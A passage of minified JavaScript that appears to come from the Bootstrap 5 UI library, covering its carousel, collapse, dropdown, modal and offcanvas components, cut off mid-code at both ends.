Element.prototype.querySelector.call(t,e)},children(e,t){return[].concat(...e.children).filter(e=>e.matches(t))},parents(e,t){const n=[];let r=e.parentNode.closest(t);while(r)n.push(r),r=r.parentNode.closest(t);return n},prev(e,t){let n=e.previousElementSibling;while(n){if(n.matches(t))return[n];n=n.previousElementSibling}return[]},next(e,t){let n=e.nextElementSibling;while(n){if(n.matches(t))return[n];n=n.nextElementSibling}return[]},focusableChildren(e){const t=[\"a\",\"button\",\"input\",\"textarea\",\"select\",\"details\",\"[tabindex]\",'[contenteditable=\"true\"]'].map(e=>`${e}:not([tabindex^=\"-\"])`).join(\",\");return this.find(t,e).filter(e=>!Ot(e)&&Rt(e))},getSelectorFromElement(e){const t=hn(e);return t&&vn.findOne(t)?t:null},getElementFromSelector(e){const t=hn(e);return t?vn.findOne(t):null},getMultipleElementsFromSelector(e){const t=hn(e);return t?vn.find(t):[]}},mn=(e,t=\"hide\")=>{const n=`click.dismiss${e.EVENT_KEY}`,r=e.NAME;on.on(document,n,`[data-bs-dismiss=\"${r}\"]`,function(n){if([\"A\",\"AREA\"].includes(this.tagName)&&n.preventDefault(),Ot(this))return;const a=vn.getElementFromSelector(this)||this.closest(`.${r}`),o=e.getOrCreateInstance(a);o[t]()})},gn=\"alert\",yn=\"bs.alert\",bn=`.${yn}`,$n=`close${bn}`,wn=`closed${bn}`,_n=\"fade\",kn=\"show\";class Cn extends pn{static get NAME(){return gn}close(){const e=on.trigger(this._element,$n);if(e.defaultPrevented)return;this._element.classList.remove(kn);const t=this._element.classList.contains(_n);this._queueCallback(()=>this._destroyElement(),this._element,t)}_destroyElement(){this._element.remove(),on.trigger(this._element,wn),this.dispose()}static jQueryInterface(e){return this.each(function(){const t=Cn.getOrCreateInstance(this);if(\"string\"===typeof e){if(void 0===t[e]||e.startsWith(\"_\")||\"constructor\"===e)throw new TypeError(`No method named \"${e}\"`);t[e](this)}})}}mn(Cn,\"close\"),Nt(Cn);const xn=\"button\",Sn=\"bs.button\",En=`.${Sn}`,Tn=\".data-api\",Rn=\"active\",On='[data-bs-toggle=\"button\"]',Mn=`click${En}${Tn}`;class An extends pn{static get NAME(){return xn}toggle(){this._element.setAttribute(\"aria-pressed\",this._element.classList.toggle(Rn))}static jQueryInterface(e){return this.each(function(){const t=An.getOrCreateInstance(this);\"toggle\"===e&&t[e]()})}}on.on(document,Mn,On,e=>{e.preventDefault();const t=e.target.closest(On),n=An.getOrCreateInstance(t);n.toggle()}),Nt(An);const Dn=\"swipe\",Bn=\".bs.swipe\",Wn=`touchstart${Bn}`,Pn=`touchmove${Bn}`,In=`touchend${Bn}`,Nn=`pointerdown${Bn}`,Ln=`pointerup${Bn}`,jn=\"touch\",Fn=\"pen\",Vn=\"pointer-event\",Un=40,Xn={endCallback:null,leftCallback:null,rightCallback:null},Hn={endCallback:\"(function|null)\",leftCallback:\"(function|null)\",rightCallback:\"(function|null)\"};class Gn extends cn{constructor(e,t){super(),this._element=e,e&&Gn.isSupported()&&(this._config=this._getConfig(t),this._deltaX=0,this._supportPointerEvents=Boolean(window.PointerEvent),this._initEvents())}static get Default(){return Xn}static get DefaultType(){return Hn}static get NAME(){return Dn}dispose(){on.off(this._element,Bn)}_start(e){this._supportPointerEvents?this._eventIsPointerPenTouch(e)&&(this._deltaX=e.clientX):this._deltaX=e.touches[0].clientX}_end(e){this._eventIsPointerPenTouch(e)&&(this._deltaX=e.clientX-this._deltaX),this._handleSwipe(),Lt(this._config.endCallback)}_move(e){this._deltaX=e.touches&&e.touches.length>1?0:e.touches[0].clientX-this._deltaX}_handleSwipe(){const e=Math.abs(this._deltaX);if(e\u003C=Un)return;const t=e\u002Fthis._deltaX;this._deltaX=0,t&&Lt(t>0?this._config.rightCallback:this._config.leftCallback)}_initEvents(){this._supportPointerEvents?(on.on(this._element,Nn,e=>this._start(e)),on.on(this._element,Ln,e=>this._end(e)),this._element.classList.add(Vn)):(on.on(this._element,Wn,e=>this._start(e)),on.on(this._element,Pn,e=>this._move(e)),on.on(this._element,In,e=>this._end(e)))}_eventIsPointerPenTouch(e){return this._supportPointerEvents&&(e.pointerType===Fn||e.pointerType===jn)}static isSupported(){return\"ontouchstart\"in document.documentElement||navigator.maxTouchPoints>0}}const Yn=\"carousel\",zn=\"bs.carousel\",Kn=`.${zn}`,qn=\".data-api\",Qn=\"ArrowLeft\",Zn=\"ArrowRight\",Jn=500,er=\"next\",tr=\"prev\",nr=\"left\",rr=\"right\",ar=`slide${Kn}`,or=`slid${Kn}`,ir=`keydown${Kn}`,lr=`mouseenter${Kn}`,sr=`mouseleave${Kn}`,ur=`dragstart${Kn}`,dr=`load${Kn}${qn}`,cr=`click${Kn}${qn}`,fr=\"carousel\",pr=\"active\",hr=\"slide\",vr=\"carousel-item-end\",mr=\"carousel-item-start\",gr=\"carousel-item-next\",yr=\"carousel-item-prev\",br=\".active\",$r=\".carousel-item\",wr=br+$r,_r=\".carousel-item img\",kr=\".carousel-indicators\",Cr=\"[data-bs-slide], [data-bs-slide-to]\",xr='[data-bs-ride=\"carousel\"]',Sr={[Qn]:rr,[Zn]:nr},Er={interval:5e3,keyboard:!0,pause:\"hover\",ride:!1,touch:!0,wrap:!0},Tr={interval:\"(number|boolean)\",keyboard:\"boolean\",pause:\"(string|boolean)\",ride:\"(boolean|string)\",touch:\"boolean\",wrap:\"boolean\"};class Rr extends pn{constructor(e,t){super(e,t),this._interval=null,this._activeElement=null,this._isSliding=!1,this.touchTimeout=null,this._swipeHelper=null,this._indicatorsElement=vn.findOne(kr,this._element),this._addEventListeners(),this._config.ride===fr&&this.cycle()}static get Default(){return Er}static get DefaultType(){return Tr}static get NAME(){return Yn}next(){this._slide(er)}nextWhenVisible(){!document.hidden&&Rt(this._element)&&this.next()}prev(){this._slide(tr)}pause(){this._isSliding&&St(this._element),this._clearInterval()}cycle(){this._clearInterval(),this._updateInterval(),this._interval=setInterval(()=>this.nextWhenVisible(),this._config.interval)}_maybeEnableCycle(){this._config.ride&&(this._isSliding?on.one(this._element,or,()=>this.cycle()):this.cycle())}to(e){const t=this._getItems();if(e>t.length-1||e\u003C0)return;if(this._isSliding)return void on.one(this._element,or,()=>this.to(e));const n=this._getItemIndex(this._getActive());if(n===e)return;const r=e>n?er:tr;this._slide(r,t[e])}dispose(){this._swipeHelper&&this._swipeHelper.dispose(),super.dispose()}_configAfterMerge(e){return e.defaultInterval=e.interval,e}_addEventListeners(){this._config.keyboard&&on.on(this._element,ir,e=>this._keydown(e)),\"hover\"===this._config.pause&&(on.on(this._element,lr,()=>this.pause()),on.on(this._element,sr,()=>this._maybeEnableCycle())),this._config.touch&&Gn.isSupported()&&this._addTouchEventListeners()}_addTouchEventListeners(){for(const n of vn.find(_r,this._element))on.on(n,ur,e=>e.preventDefault());const e=()=>{\"hover\"===this._config.pause&&(this.pause(),this.touchTimeout&&clearTimeout(this.touchTimeout),this.touchTimeout=setTimeout(()=>this._maybeEnableCycle(),Jn+this._config.interval))},t={leftCallback:()=>this._slide(this._directionToOrder(nr)),rightCallback:()=>this._slide(this._directionToOrder(rr)),endCallback:e};this._swipeHelper=new Gn(this._element,t)}_keydown(e){if(\u002Finput|textarea\u002Fi.test(e.target.tagName))return;const t=Sr[e.key];t&&(e.preventDefault(),this._slide(this._directionToOrder(t)))}_getItemIndex(e){return this._getItems().indexOf(e)}_setActiveIndicatorElement(e){if(!this._indicatorsElement)return;const t=vn.findOne(br,this._indicatorsElement);t.classList.remove(pr),t.removeAttribute(\"aria-current\");const n=vn.findOne(`[data-bs-slide-to=\"${e}\"]`,this._indicatorsElement);n&&(n.classList.add(pr),n.setAttribute(\"aria-current\",\"true\"))}_updateInterval(){const e=this._activeElement||this._getActive();if(!e)return;const t=Number.parseInt(e.getAttribute(\"data-bs-interval\"),10);this._config.interval=t||this._config.defaultInterval}_slide(e,t=null){if(this._isSliding)return;const n=this._getActive(),r=e===er,a=t||Ft(this._getItems(),n,r,this._config.wrap);if(a===n)return;const o=this._getItemIndex(a),i=t=>on.trigger(this._element,t,{relatedTarget:a,direction:this._orderToDirection(e),from:this._getItemIndex(n),to:o}),l=i(ar);if(l.defaultPrevented)return;if(!n||!a)return;const s=Boolean(this._interval);this.pause(),this._isSliding=!0,this._setActiveIndicatorElement(o),this._activeElement=a;const u=r?mr:vr,d=r?gr:yr;a.classList.add(d),Dt(a),n.classList.add(u),a.classList.add(u);const c=()=>{a.classList.remove(u,d),a.classList.add(pr),n.classList.remove(pr,d,u),this._isSliding=!1,i(or)};this._queueCallback(c,n,this._isAnimated()),s&&this.cycle()}_isAnimated(){return this._element.classList.contains(hr)}_getActive(){return vn.findOne(wr,this._element)}_getItems(){return vn.find($r,this._element)}_clearInterval(){this._interval&&(clearInterval(this._interval),this._interval=null)}_directionToOrder(e){return It()?e===nr?tr:er:e===nr?er:tr}_orderToDirection(e){return It()?e===tr?nr:rr:e===tr?rr:nr}static jQueryInterface(e){return this.each(function(){const t=Rr.getOrCreateInstance(this,e);if(\"number\"!==typeof e){if(\"string\"===typeof e){if(void 0===t[e]||e.startsWith(\"_\")||\"constructor\"===e)throw new TypeError(`No method named \"${e}\"`);t[e]()}}else t.to(e)})}}on.on(document,cr,Cr,function(e){const t=vn.getElementFromSelector(this);if(!t||!t.classList.contains(fr))return;e.preventDefault();const n=Rr.getOrCreateInstance(t),r=this.getAttribute(\"data-bs-slide-to\");return r?(n.to(r),void n._maybeEnableCycle()):\"next\"===dn.getDataAttribute(this,\"slide\")?(n.next(),void n._maybeEnableCycle()):(n.prev(),void n._maybeEnableCycle())}),on.on(window,dr,()=>{const e=vn.find(xr);for(const t of e)Rr.getOrCreateInstance(t)}),Nt(Rr);const Or=\"collapse\",Mr=\"bs.collapse\",Ar=`.${Mr}`,Dr=\".data-api\",Br=`show${Ar}`,Wr=`shown${Ar}`,Pr=`hide${Ar}`,Ir=`hidden${Ar}`,Nr=`click${Ar}${Dr}`,Lr=\"show\",jr=\"collapse\",Fr=\"collapsing\",Vr=\"collapsed\",Ur=`:scope .${jr} .${jr}`,Xr=\"collapse-horizontal\",Hr=\"width\",Gr=\"height\",Yr=\".collapse.show, .collapse.collapsing\",zr='[data-bs-toggle=\"collapse\"]',Kr={parent:null,toggle:!0},qr={parent:\"(null|element)\",toggle:\"boolean\"};class Qr extends pn{constructor(e,t){super(e,t),this._isTransitioning=!1,this._triggerArray=[];const n=vn.find(zr);for(const r of n){const e=vn.getSelectorFromElement(r),t=vn.find(e).filter(e=>e===this._element);null!==e&&t.length&&this._triggerArray.push(r)}this._initializeChildren(),this._config.parent||this._addAriaAndCollapsedClass(this._triggerArray,this._isShown()),this._config.toggle&&this.toggle()}static get Default(){return Kr}static get DefaultType(){return qr}static get NAME(){return Or}toggle(){this._isShown()?this.hide():this.show()}show(){if(this._isTransitioning||this._isShown())return;let e=[];if(this._config.parent&&(e=this._getFirstLevelChildren(Yr).filter(e=>e!==this._element).map(e=>Qr.getOrCreateInstance(e,{toggle:!1}))),e.length&&e[0]._isTransitioning)return;const t=on.trigger(this._element,Br);if(t.defaultPrevented)return;for(const i of e)i.hide();const n=this._getDimension();this._element.classList.remove(jr),this._element.classList.add(Fr),this._element.style[n]=0,this._addAriaAndCollapsedClass(this._triggerArray,!0),this._isTransitioning=!0;const r=()=>{this._isTransitioning=!1,this._element.classList.remove(Fr),this._element.classList.add(jr,Lr),this._element.style[n]=\"\",on.trigger(this._element,Wr)},a=n[0].toUpperCase()+n.slice(1),o=`scroll${a}`;this._queueCallback(r,this._element,!0),this._element.style[n]=`${this._element[o]}px`}hide(){if(this._isTransitioning||!this._isShown())return;const e=on.trigger(this._element,Pr);if(e.defaultPrevented)return;const t=this._getDimension();this._element.style[t]=`${this._element.getBoundingClientRect()[t]}px`,Dt(this._element),this._element.classList.add(Fr),this._element.classList.remove(jr,Lr);for(const r of this._triggerArray){const e=vn.getElementFromSelector(r);e&&!this._isShown(e)&&this._addAriaAndCollapsedClass([r],!1)}this._isTransitioning=!0;const n=()=>{this._isTransitioning=!1,this._element.classList.remove(Fr),this._element.classList.add(jr),on.trigger(this._element,Ir)};this._element.style[t]=\"\",this._queueCallback(n,this._element,!0)}_isShown(e=this._element){return e.classList.contains(Lr)}_configAfterMerge(e){return e.toggle=Boolean(e.toggle),e.parent=Tt(e.parent),e}_getDimension(){return this._element.classList.contains(Xr)?Hr:Gr}_initializeChildren(){if(!this._config.parent)return;const e=this._getFirstLevelChildren(zr);for(const t of e){const e=vn.getElementFromSelector(t);e&&this._addAriaAndCollapsedClass([t],this._isShown(e))}}_getFirstLevelChildren(e){const t=vn.find(Ur,this._config.parent);return vn.find(e,this._config.parent).filter(e=>!t.includes(e))}_addAriaAndCollapsedClass(e,t){if(e.length)for(const n of e)n.classList.toggle(Vr,!t),n.setAttribute(\"aria-expanded\",t)}static jQueryInterface(e){const t={};return\"string\"===typeof e&&\u002Fshow|hide\u002F.test(e)&&(t.toggle=!1),this.each(function(){const n=Qr.getOrCreateInstance(this,t);if(\"string\"===typeof e){if(\"undefined\"===typeof n[e])throw new TypeError(`No method named \"${e}\"`);n[e]()}})}}on.on(document,Nr,zr,function(e){(\"A\"===e.target.tagName||e.delegateTarget&&\"A\"===e.delegateTarget.tagName)&&e.preventDefault();for(const t of vn.getMultipleElementsFromSelector(this))Qr.getOrCreateInstance(t,{toggle:!1}).toggle()}),Nt(Qr);const Zr=\"dropdown\",Jr=\"bs.dropdown\",ea=`.${Jr}`,ta=\".data-api\",na=\"Escape\",ra=\"Tab\",aa=\"ArrowUp\",oa=\"ArrowDown\",ia=2,la=`hide${ea}`,sa=`hidden${ea}`,ua=`show${ea}`,da=`shown${ea}`,ca=`click${ea}${ta}`,fa=`keydown${ea}${ta}`,pa=`keyup${ea}${ta}`,ha=\"show\",va=\"dropup\",ma=\"dropend\",ga=\"dropstart\",ya=\"dropup-center\",ba=\"dropdown-center\",$a='[data-bs-toggle=\"dropdown\"]:not(.disabled):not(:disabled)',wa=`${$a}.${ha}`,_a=\".dropdown-menu\",ka=\".navbar\",Ca=\".navbar-nav\",xa=\".dropdown-menu .dropdown-item:not(.disabled):not(:disabled)\",Sa=It()?\"top-end\":\"top-start\",Ea=It()?\"top-start\":\"top-end\",Ta=It()?\"bottom-end\":\"bottom-start\",Ra=It()?\"bottom-start\":\"bottom-end\",Oa=It()?\"left-start\":\"right-start\",Ma=It()?\"right-start\":\"left-start\",Aa=\"top\",Da=\"bottom\",Ba={autoClose:!0,boundary:\"clippingParents\",display:\"dynamic\",offset:[0,2],popperConfig:null,reference:\"toggle\"},Wa={autoClose:\"(boolean|string)\",boundary:\"(string|element)\",display:\"string\",offset:\"(array|string|function)\",popperConfig:\"(null|object|function)\",reference:\"(string|element|object)\"};class Pa extends pn{constructor(e,t){super(e,t),this._popper=null,this._parent=this._element.parentNode,this._menu=vn.next(this._element,_a)[0]||vn.prev(this._element,_a)[0]||vn.findOne(_a,this._parent),this._inNavbar=this._detectNavbar()}static get Default(){return Ba}static get DefaultType(){return Wa}static get NAME(){return Zr}toggle(){return this._isShown()?this.hide():this.show()}show(){if(Ot(this._element)||this._isShown())return;const e={relatedTarget:this._element},t=on.trigger(this._element,ua,e);if(!t.defaultPrevented){if(this._createPopper(),\"ontouchstart\"in document.documentElement&&!this._parent.closest(Ca))for(const e of[].concat(...document.body.children))on.on(e,\"mouseover\",At);this._element.focus(),this._element.setAttribute(\"aria-expanded\",!0),this._menu.classList.add(ha),this._element.classList.add(ha),on.trigger(this._element,da,e)}}hide(){if(Ot(this._element)||!this._isShown())return;const e={relatedTarget:this._element};this._completeHide(e)}dispose(){this._popper&&this._popper.destroy(),super.dispose()}update(){this._inNavbar=this._detectNavbar(),this._popper&&this._popper.update()}_completeHide(e){const t=on.trigger(this._element,la,e);if(!t.defaultPrevented){if(\"ontouchstart\"in document.documentElement)for(const e of[].concat(...document.body.children))on.off(e,\"mouseover\",At);this._popper&&this._popper.destroy(),this._menu.classList.remove(ha),this._element.classList.remove(ha),this._element.setAttribute(\"aria-expanded\",\"false\"),dn.removeDataAttribute(this._menu,\"popper\"),on.trigger(this._element,sa,e)}}_getConfig(e){if(e=super._getConfig(e),\"object\"===typeof e.reference&&!Et(e.reference)&&\"function\"!==typeof e.reference.getBoundingClientRect)throw new TypeError(`${Zr.toUpperCase()}: Option \"reference\" provided type \"object\" without a required \"getBoundingClientRect\" method.`);return e}_createPopper(){if(\"undefined\"===typeof r)throw new TypeError(\"Bootstrap's dropdowns require Popper (https:\u002F\u002Fpopper.js.org\u002Fdocs\u002Fv2\u002F)\");let e=this._element;\"parent\"===this._config.reference?e=this._parent:Et(this._config.reference)?e=Tt(this._config.reference):\"object\"===typeof this._config.reference&&(e=this._config.reference);const t=this._getPopperConfig();this._popper=ht(e,this._menu,t)}_isShown(){return this._menu.classList.contains(ha)}_getPlacement(){const e=this._parent;if(e.classList.contains(ma))return Oa;if(e.classList.contains(ga))return Ma;if(e.classList.contains(ya))return Aa;if(e.classList.contains(ba))return Da;const t=\"end\"===getComputedStyle(this._menu).getPropertyValue(\"--bs-position\").trim();return e.classList.contains(va)?t?Ea:Sa:t?Ra:Ta}_detectNavbar(){return null!==this._element.closest(ka)}_getOffset(){const{offset:e}=this._config;return\"string\"===typeof e?e.split(\",\").map(e=>Number.parseInt(e,10)):\"function\"===typeof e?t=>e(t,this._element):e}_getPopperConfig(){const e={placement:this._getPlacement(),modifiers:[{name:\"preventOverflow\",options:{boundary:this._config.boundary}},{name:\"offset\",options:{offset:this._getOffset()}}]};return(this._inNavbar||\"static\"===this._config.display)&&(dn.setDataAttribute(this._menu,\"popper\",\"static\"),e.modifiers=[{name:\"applyStyles\",enabled:!1}]),{...e,...Lt(this._config.popperConfig,[void 0,e])}}_selectMenuItem({key:e,target:t}){const n=vn.find(xa,this._menu).filter(e=>Rt(e));n.length&&Ft(n,t,e===oa,!n.includes(t)).focus()}static jQueryInterface(e){return this.each(function(){const t=Pa.getOrCreateInstance(this,e);if(\"string\"===typeof e){if(\"undefined\"===typeof t[e])throw new TypeError(`No method named \"${e}\"`);t[e]()}})}static clearMenus(e){if(e.button===ia||\"keyup\"===e.type&&e.key!==ra)return;const t=vn.find(wa);for(const n of t){const t=Pa.getInstance(n);if(!t||!1===t._config.autoClose)continue;const r=e.composedPath(),a=r.includes(t._menu);if(r.includes(t._element)||\"inside\"===t._config.autoClose&&!a||\"outside\"===t._config.autoClose&&a)continue;if(t._menu.contains(e.target)&&(\"keyup\"===e.type&&e.key===ra||\u002Finput|select|option|textarea|form\u002Fi.test(e.target.tagName)))continue;const o={relatedTarget:t._element};\"click\"===e.type&&(o.clickEvent=e),t._completeHide(o)}}static dataApiKeydownHandler(e){const t=\u002Finput|textarea\u002Fi.test(e.target.tagName),n=e.key===na,r=[aa,oa].includes(e.key);if(!r&&!n)return;if(t&&!n)return;e.preventDefault();const a=this.matches($a)?this:vn.prev(this,$a)[0]||vn.next(this,$a)[0]||vn.findOne($a,e.delegateTarget.parentNode),o=Pa.getOrCreateInstance(a);if(r)return e.stopPropagation(),o.show(),void o._selectMenuItem(e);o._isShown()&&(e.stopPropagation(),o.hide(),a.focus())}}on.on(document,fa,$a,Pa.dataApiKeydownHandler),on.on(document,fa,_a,Pa.dataApiKeydownHandler),on.on(document,ca,Pa.clearMenus),on.on(document,pa,Pa.clearMenus),on.on(document,ca,$a,function(e){e.preventDefault(),Pa.getOrCreateInstance(this).toggle()}),Nt(Pa);const Ia=\"backdrop\",Na=\"fade\",La=\"show\",ja=`mousedown.bs.${Ia}`,Fa={className:\"modal-backdrop\",clickCallback:null,isAnimated:!1,isVisible:!0,rootElement:\"body\"},Va={className:\"string\",clickCallback:\"(function|null)\",isAnimated:\"boolean\",isVisible:\"boolean\",rootElement:\"(element|string)\"};class Ua extends cn{constructor(e){super(),this._config=this._getConfig(e),this._isAppended=!1,this._element=null}static get Default(){return Fa}static get DefaultType(){return Va}static get NAME(){return Ia}show(e){if(!this._config.isVisible)return void Lt(e);this._append();const t=this._getElement();this._config.isAnimated&&Dt(t),t.classList.add(La),this._emulateAnimation(()=>{Lt(e)})}hide(e){this._config.isVisible?(this._getElement().classList.remove(La),this._emulateAnimation(()=>{this.dispose(),Lt(e)})):Lt(e)}dispose(){this._isAppended&&(on.off(this._element,ja),this._element.remove(),this._isAppended=!1)}_getElement(){if(!this._element){const e=document.createElement(\"div\");e.className=this._config.className,this._config.isAnimated&&e.classList.add(Na),this._element=e}return this._element}_configAfterMerge(e){return e.rootElement=Tt(e.rootElement),e}_append(){if(this._isAppended)return;const e=this._getElement();this._config.rootElement.append(e),on.on(e,ja,()=>{Lt(this._config.clickCallback)}),this._isAppended=!0}_emulateAnimation(e){jt(e,this._getElement(),this._config.isAnimated)}}const Xa=\"focustrap\",Ha=\"bs.focustrap\",Ga=`.${Ha}`,Ya=`focusin${Ga}`,za=`keydown.tab${Ga}`,Ka=\"Tab\",qa=\"forward\",Qa=\"backward\",Za={autofocus:!0,trapElement:null},Ja={autofocus:\"boolean\",trapElement:\"element\"};class eo extends cn{constructor(e){super(),this._config=this._getConfig(e),this._isActive=!1,this._lastTabNavDirection=null}static get Default(){return Za}static get DefaultType(){return Ja}static get NAME(){return Xa}activate(){this._isActive||(this._config.autofocus&&this._config.trapElement.focus(),on.off(document,Ga),on.on(document,Ya,e=>this._handleFocusin(e)),on.on(document,za,e=>this._handleKeydown(e)),this._isActive=!0)}deactivate(){this._isActive&&(this._isActive=!1,on.off(document,Ga))}_handleFocusin(e){const{trapElement:t}=this._config;if(e.target===document||e.target===t||t.contains(e.target))return;const n=vn.focusableChildren(t);0===n.length?t.focus():this._lastTabNavDirection===Qa?n[n.length-1].focus():n[0].focus()}_handleKeydown(e){e.key===Ka&&(this._lastTabNavDirection=e.shiftKey?Qa:qa)}}const to=\".fixed-top, .fixed-bottom, .is-fixed, .sticky-top\",no=\".sticky-top\",ro=\"padding-right\",ao=\"margin-right\";class oo{constructor(){this._element=document.body}getWidth(){const e=document.documentElement.clientWidth;return Math.abs(window.innerWidth-e)}hide(){const e=this.getWidth();this._disableOverFlow(),this._setElementAttributes(this._element,ro,t=>t+e),this._setElementAttributes(to,ro,t=>t+e),this._setElementAttributes(no,ao,t=>t-e)}reset(){this._resetElementAttributes(this._element,\"overflow\"),this._resetElementAttributes(this._element,ro),this._resetElementAttributes(to,ro),this._resetElementAttributes(no,ao)}isOverflowing(){return this.getWidth()>0}_disableOverFlow(){this._saveInitialAttribute(this._element,\"overflow\"),this._element.style.overflow=\"hidden\"}_setElementAttributes(e,t,n){const r=this.getWidth(),a=e=>{if(e!==this._element&&window.innerWidth>e.clientWidth+r)return;this._saveInitialAttribute(e,t);const a=window.getComputedStyle(e).getPropertyValue(t);e.style.setProperty(t,`${n(Number.parseFloat(a))}px`)};this._applyManipulationCallback(e,a)}_saveInitialAttribute(e,t){const n=e.style.getPropertyValue(t);n&&dn.setDataAttribute(e,t,n)}_resetElementAttributes(e,t){const n=e=>{const n=dn.getDataAttribute(e,t);null!==n?(dn.removeDataAttribute(e,t),e.style.setProperty(t,n)):e.style.removeProperty(t)};this._applyManipulationCallback(e,n)}_applyManipulationCallback(e,t){if(Et(e))t(e);else for(const n of vn.find(e,this._element))t(n)}}const io=\"modal\",lo=\"bs.modal\",so=`.${lo}`,uo=\".data-api\",co=\"Escape\",fo=`hide${so}`,po=`hidePrevented${so}`,ho=`hidden${so}`,vo=`show${so}`,mo=`shown${so}`,go=`resize${so}`,yo=`click.dismiss${so}`,bo=`mousedown.dismiss${so}`,$o=`keydown.dismiss${so}`,wo=`click${so}${uo}`,_o=\"modal-open\",ko=\"fade\",Co=\"show\",xo=\"modal-static\",So=\".modal.show\",Eo=\".modal-dialog\",To=\".modal-body\",Ro='[data-bs-toggle=\"modal\"]',Oo={backdrop:!0,focus:!0,keyboard:!0},Mo={backdrop:\"(boolean|string)\",focus:\"boolean\",keyboard:\"boolean\"};class Ao extends pn{constructor(e,t){super(e,t),this._dialog=vn.findOne(Eo,this._element),this._backdrop=this._initializeBackDrop(),this._focustrap=this._initializeFocusTrap(),this._isShown=!1,this._isTransitioning=!1,this._scrollBar=new oo,this._addEventListeners()}static get Default(){return Oo}static get DefaultType(){return Mo}static get NAME(){return io}toggle(e){return this._isShown?this.hide():this.show(e)}show(e){if(this._isShown||this._isTransitioning)return;const t=on.trigger(this._element,vo,{relatedTarget:e});t.defaultPrevented||(this._isShown=!0,this._isTransitioning=!0,this._scrollBar.hide(),document.body.classList.add(_o),this._adjustDialog(),this._backdrop.show(()=>this._showElement(e)))}hide(){if(!this._isShown||this._isTransitioning)return;const e=on.trigger(this._element,fo);e.defaultPrevented||(this._isShown=!1,this._isTransitioning=!0,this._focustrap.deactivate(),this._element.classList.remove(Co),this._queueCallback(()=>this._hideModal(),this._element,this._isAnimated()))}dispose(){on.off(window,so),on.off(this._dialog,so),this._backdrop.dispose(),this._focustrap.deactivate(),super.dispose()}handleUpdate(){this._adjustDialog()}_initializeBackDrop(){return new Ua({isVisible:Boolean(this._config.backdrop),isAnimated:this._isAnimated()})}_initializeFocusTrap(){return new eo({trapElement:this._element})}_showElement(e){document.body.contains(this._element)||document.body.append(this._element),this._element.style.display=\"block\",this._element.removeAttribute(\"aria-hidden\"),this._element.setAttribute(\"aria-modal\",!0),this._element.setAttribute(\"role\",\"dialog\"),this._element.scrollTop=0;const t=vn.findOne(To,this._dialog);t&&(t.scrollTop=0),Dt(this._element),this._element.classList.add(Co);const n=()=>{this._config.focus&&this._focustrap.activate(),this._isTransitioning=!1,on.trigger(this._element,mo,{relatedTarget:e})};this._queueCallback(n,this._dialog,this._isAnimated())}_addEventListeners(){on.on(this._element,$o,e=>{e.key===co&&(this._config.keyboard?this.hide():this._triggerBackdropTransition())}),on.on(window,go,()=>{this._isShown&&!this._isTransitioning&&this._adjustDialog()}),on.on(this._element,bo,e=>{on.one(this._element,yo,t=>{this._element===e.target&&this._element===t.target&&(\"static\"!==this._config.backdrop?this._config.backdrop&&this.hide():this._triggerBackdropTransition())})})}_hideModal(){this._element.style.display=\"none\",this._element.setAttribute(\"aria-hidden\",!0),this._element.removeAttribute(\"aria-modal\"),this._element.removeAttribute(\"role\"),this._isTransitioning=!1,this._backdrop.hide(()=>{document.body.classList.remove(_o),this._resetAdjustments(),this._scrollBar.reset(),on.trigger(this._element,ho)})}_isAnimated(){return this._element.classList.contains(ko)}_triggerBackdropTransition(){const e=on.trigger(this._element,po);if(e.defaultPrevented)return;const t=this._element.scrollHeight>document.documentElement.clientHeight,n=this._element.style.overflowY;\"hidden\"===n||this._element.classList.contains(xo)||(t||(this._element.style.overflowY=\"hidden\"),this._element.classList.add(xo),this._queueCallback(()=>{this._element.classList.remove(xo),this._queueCallback(()=>{this._element.style.overflowY=n},this._dialog)},this._dialog),this._element.focus())}_adjustDialog(){const e=this._element.scrollHeight>document.documentElement.clientHeight,t=this._scrollBar.getWidth(),n=t>0;if(n&&!e){const e=It()?\"paddingLeft\":\"paddingRight\";this._element.style[e]=`${t}px`}if(!n&&e){const e=It()?\"paddingRight\":\"paddingLeft\";this._element.style[e]=`${t}px`}}_resetAdjustments(){this._element.style.paddingLeft=\"\",this._element.style.paddingRight=\"\"}static jQueryInterface(e,t){return this.each(function(){const n=Ao.getOrCreateInstance(this,e);if(\"string\"===typeof e){if(\"undefined\"===typeof n[e])throw new TypeError(`No method named \"${e}\"`);n[e](t)}})}}on.on(document,wo,Ro,function(e){const t=vn.getElementFromSelector(this);[\"A\",\"AREA\"].includes(this.tagName)&&e.preventDefault(),on.one(t,vo,e=>{e.defaultPrevented||on.one(t,ho,()=>{Rt(this)&&this.focus()})});const n=vn.findOne(So);n&&Ao.getInstance(n).hide();const r=Ao.getOrCreateInstance(t);r.toggle(this)}),mn(Ao),Nt(Ao);const Do=\"offcanvas\",Bo=\"bs.offcanvas\",Wo=`.${Bo}`,Po=\".data-api\",Io=`load${Wo}${Po}`,No=\"Escape\",Lo=\"show\",jo=\"showing\",Fo=\"hiding\",Vo=\"offcanvas-backdrop\",Uo=\".offcanvas.show\",Xo=`show${Wo}`,Ho=`shown${Wo}`,Go=`hide${Wo}`,Yo=`hidePrevented${Wo}`,zo=`hidden${Wo}`,Ko=`resize${Wo}`,qo=`click${Wo}${Po}`,Qo=`keydown.dismiss${Wo}`,Zo='[data-bs-toggle=\"offcanvas\"]',Jo={backdrop:!0,keyboard:!0,scroll:!1},ei={backdrop:\"(boolean|string)\",keyboard:\"boolean\",scroll:\"boolean\"};class ti extends pn{constructor(e,t){super(e,t),this._isShown=!1,this._backdrop=this._initializeBackDrop(),this._focustrap=this._initializeFocusTrap(),this._addEventListeners()}static get Default(){return Jo}static get DefaultType(){return ei}static get NAME(){return Do}toggle(e){return this._isShown?this.hide():this.show(e)}show(e){if(this._isShown)return;const t=on.trigger(this._element,Xo,{relatedTarget:e});if(t.defaultPrevented)return;this._isShown=!0,this._backdrop.show(),this._config.scroll||(new oo).hide(),this._element.setAttribute(\"aria-modal\",!0),this._element.setAttribute(\"role\",\"dialog\"),this._element.classList.add(jo);const n=()=>{this._config.scroll&&!this._config.backdrop||this._focustrap.activate(),this._element.classList.add(Lo),this._element.classList.remove(jo),on.trigger(this._element,Ho,{relatedTarget:e})};this._queueCallback(n,this._element,!0)}hide(){if(!this._isShown)return;const e=on.trigger(this._element,Go);if(e.defaultPrevented)return;this._focustrap.deactivate(),this._element.blur(),this._isShown=!1,this._element.classList.add(Fo),this._backdrop.hide();const t=()=>{this._element.classList.remove(Lo,Fo),this._element.removeAttribute(\"aria-modal\"),this._element.removeAttribute(\"role\"),this._config.scroll||(new 